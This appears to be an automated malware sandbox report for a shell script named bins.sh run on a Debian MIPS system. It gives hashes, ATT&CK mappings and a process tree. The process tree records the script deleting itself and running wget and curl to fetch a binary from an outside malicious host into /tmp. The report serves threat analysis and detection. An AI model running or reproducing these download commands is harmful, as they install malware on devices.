c8853a089fee8f8e672abc55cf7fc83050b918158a4fe45812da61245880826b

Analysis

max time kernel
149s
max time network
11s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/11/2024, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241122-dma9wsyrfp
SHA256 c8853a089fee8f8e672abc55cf7fc83050b918158a4fe45812da61245880826b
MD5 df6e0c31f99c3e10d942983537093da1
SHA1 bbb7f6675ef1ff7b6c3d20cbaf5305e05b34c1b3
SHA512 71238a7d9023f9693662812dbadc3d0fba64ea43c13cfadf016697e81086cf2ebbf1b2443434e660afe260d49af5d3f938bf7decfef0692b67525be91567024a
SSDEEP 96:YB5oULNNjb3Mqi/gcOUvDyCkownL3LjLMLCILYLswC6yLL1VdRJyrKC7RL3LjL6l:+Tj3njLMvUagFLn+x28
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
706	wget
721	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lvvP7yG2BhJXxtXjhxtOiw2KtNTCtNN4bP	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:699
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lvvP7yG2BhJXxtXjhxtOiw2KtNTCtNN4bP
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lvvP7yG2BhJXxtXjhxtOiw2KtNTCtNN4bP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:721

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

lvvP7yG2BhJXxtXjhxtOiw2KtNTCtNN4bP

Path /tmp/lvvP7yG2BhJXxtXjhxtOiw2KtNTCtNN4bP
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads